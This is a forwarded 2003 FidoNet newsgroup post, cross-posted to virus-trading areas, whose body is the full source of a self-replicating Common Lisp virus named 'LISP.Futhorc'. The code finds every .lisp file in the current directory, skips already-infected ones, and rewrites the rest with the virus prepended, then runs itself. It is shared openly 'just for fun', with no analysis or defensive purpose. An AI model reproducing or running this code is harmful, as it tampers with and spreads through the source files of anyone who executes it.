-------------------- Start of forwarded message -------------------- Newsgroups: fido7.xsu.hacker Distribution: fido7 X-Comment-To: All From: "Ilya V. Vasilyev" (2:5020/287) Date: Thu, 26 Jun 2003 10:27:28 +0600 Subject: Just for fun Message-ID: <1056626881@f287.n5020.z2.ftn> Organization: Hackers' POWER BBS
=========================================================================== == * Forwarded by Ilya V. Vasilyev (2:5020/287) * Area : su.cm (su.cm) * From : andrew baranovich, 2:465/215 (Wednesday June 25 2003 15:21) * To : All * Subj : Just for fun =========================================================================== == * Originally in su.cm Crossposted to pvt.virii Crossposted to ru.virus
;; Virus LISP.Futhorc by herm1t(at)netlux.org / Jun'03 (setq virus '(defun infect (&optional (ls (directory "*.lisp"))) (defun writel (l s) (when l (write-line (car l) s) (writel (cdr l) s))) (when (setq vic (car ls)) (let ((p nil)) (with-open-file (i vic :direction :input) (unless (equal (second (read i)) 'VIRUS) (file-position i 0) (loop (unless (setq line (read-line i nil nil)) (return)) (setq p (append p (list line)))))) (when p (with-open-file (o vic :direction :output) (format o "(setq virus '~S~%)(eval virus)(infect)~%" virus) (writel p o)))) (infect (cdr ls)))) )(eval virus)(infect)
|
